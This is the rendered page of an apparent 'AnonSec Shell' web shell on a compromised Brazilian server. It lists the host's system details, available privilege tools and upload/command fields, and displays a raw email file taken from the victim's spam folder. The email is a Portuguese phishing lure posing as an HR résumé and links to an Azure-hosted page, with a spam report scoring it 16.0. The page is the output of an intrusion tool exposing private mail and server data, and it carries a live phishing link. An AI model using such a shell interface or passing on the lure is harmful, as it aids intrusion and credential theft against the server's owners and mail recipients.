AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1720985991.M946816P17726.dedi-4363141.lrsys.com.br,S=5772,W=5887
Return-Path: <ltoy@keod141.gotasexybr.store>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id yFxTN4cplGY+RQAAIWsJAg
	(envelope-from <ltoy@keod141.gotasexybr.store>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sun, 14 Jul 2024 16:39:51 -0300
Return-path: <ltoy@keod141.gotasexybr.store>
Envelope-to: marketing@lrsys.com.br
Delivery-date: Sun, 14 Jul 2024 16:39:51 -0300
Received: from 184.249.243.35.bc.googleusercontent.com ([35.243.249.184]:55476 helo=keod141.gotasexybr.store)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <ltoy@keod141.gotasexybr.store>)
	id 1sT54T-0004bV-0f
	for marketing@lrsys.com.br;
	Sun, 14 Jul 2024 16:39:51 -0300
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=keod141.gotasexybr.store; s=keod141; t=1720985942;
	bh=OFlI3xdJVVpE7upZf/jRz8N7u9W7Zc/V9Z/8UYj31xI=;
	h=From:Subject:Date:To;
	b=aAl+7DFKxr3FIxoySvVXmJnOkmO7brjHS/qYeK90JB/yNE2fq/gQzrad1ax1iqrTP
	 fJ+OT0o8Vy/Ii7EA4fdP8429dJ8DRw2tjigniQBOWlHLBilRckX5BMHTEPHmtPOxcG
	 BEnS5mSm015OB3U5pX4I+7EAup5rNlvj6FBM2ZKyHp+tKlkK29MiWaBXDZbhZnw9bL
	 bAGbhhih9hwaETH6kmwqCtbCM+WXd+72s2ACczocyYu5/pMLMbjafOpbPQddDXXE3M
	 3ZNbFY8jNOuJUEcFMpFKZmG0xuE2ugBqEEeM7dDFhlXEeht1zA+zOf3q8GmDULv0Aa
	 zAjuTzFVr8CbA==
Received: from localhost (localhost [127.0.0.1])
	by keod141.gotasexybr.store (Postfix) with UTF8SMTP id 629F53463F1
	for <marketing@lrsys.com.br>; Sun, 14 Jul 2024 19:39:02 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 s=keod141; d=keod141.gotasexybr.store; t=1720985942;
  h=from:subject:date:message-id:to:mime-version:content-type:
 user-agent:x-mailer:content-language;
 bh=OFlI3xdJVVpE7upZf/jRz8N7u9W7Zc/V9Z/8UYj31xI=;
 b=fH/cUDs4Le7yRVYCEVRZqJtiu1fWWP34H1hcocqYq6A+YeLdnXt9Wn4f7h7efLJR9OkcWX
 kCWTF080TtEwQxJu2QP9GduovX1I+sgk3ypI8CqaalIFBZGxv/bYB7JWdH69V6ff++pn0H
 n0IbY51jR0EW93ZiWk7DwlIejMRmLnaDXWFSc0v1p31QcVPsmIucVBXJ/PBP6RvlhiJZfi
 AyBXmmp+mGG+Nxc2rsJsbbs9p7xsOIWnYqDygz8BG+p5e2fNc1TXm1HljWFkN8hX8ipGGM
 LPM/jFxn+k2qqHbUV5Zb2GpCZB3eeRAqgnd+7jbBc/F7kmlm5m02WoDQJFk1ew==
From: "Leandra Matos" <ltoy@keod141.gotasexybr.store>
User-Agent: Outlook Express 6.0
Date: Sun, 14 Jul 2024 19:39:02 +0000
MIME-Version: 1.0
To: <marketing@lrsys.com.br>
X-Mailer: Outlook Express 6.0
Message-Id: <48c1e56405cbacf2ab1b80337455d9b9@keod141.gotasexybr.store>
Content-Type: multipart/alternative;
 boundary=7c841ea616d0f4248315571400ae33e98e576efab78ffb66f5d3be43a6c0
X-Spam-Status: Yes, score=16.0
X-Spam-Score: 160
X-Spam-Bar: ++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Segue o currículo atualizado do novo funcionário. Cur-74161789
    Leandra Matos RH 
 Content analysis details:   (16.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: gotasexybr.store]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: gotasexybr.store]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.1 URIBL_CSS_A            Contains URL's A record listed in the Spamhaus CSS
                             blocklist
                             [URIs: keod141.gotasexybr.store]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  1.0 KAM_HTMLNOISE          Spam containing useless HTML padding
  2.6 RDNS_DYNAMIC           Delivered to internal network by host with
                             dynamic-looking rDNS
  1.9 FORGED_MUA_OUTLOOK     Forged mail pretending to be from MS Outlook
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?Q?Segue_Curr=C3=ADculo_N:%%N9%%?=

--7c841ea616d0f4248315571400ae33e98e576efab78ffb66f5d3be43a6c0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

<html>
<head>
<style></style></head>
<body>
<p>Segue o curr=C3=ADculo atualizado do novo funcion=C3=A1rio.</p>
<p><a href=3D"https://contato15072024.blob.core.windows.net/web/index.html?=
id=3D308">Cur-74161789</p>
<p>Leandra Matos RH</p>
</body>
</html>
--7c841ea616d0f4248315571400ae33e98e576efab78ffb66f5d3be43a6c0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8

Segue o curr=C3=ADculo atualizado do novo funcion=C3=A1rio.

 https://contato15072024.blob.core.windows.net/web/index.html?id=3D308
--7c841ea616d0f4248315571400ae33e98e576efab78ffb66f5d3be43a6c0--

Anon7 - 2022
AnonSec Team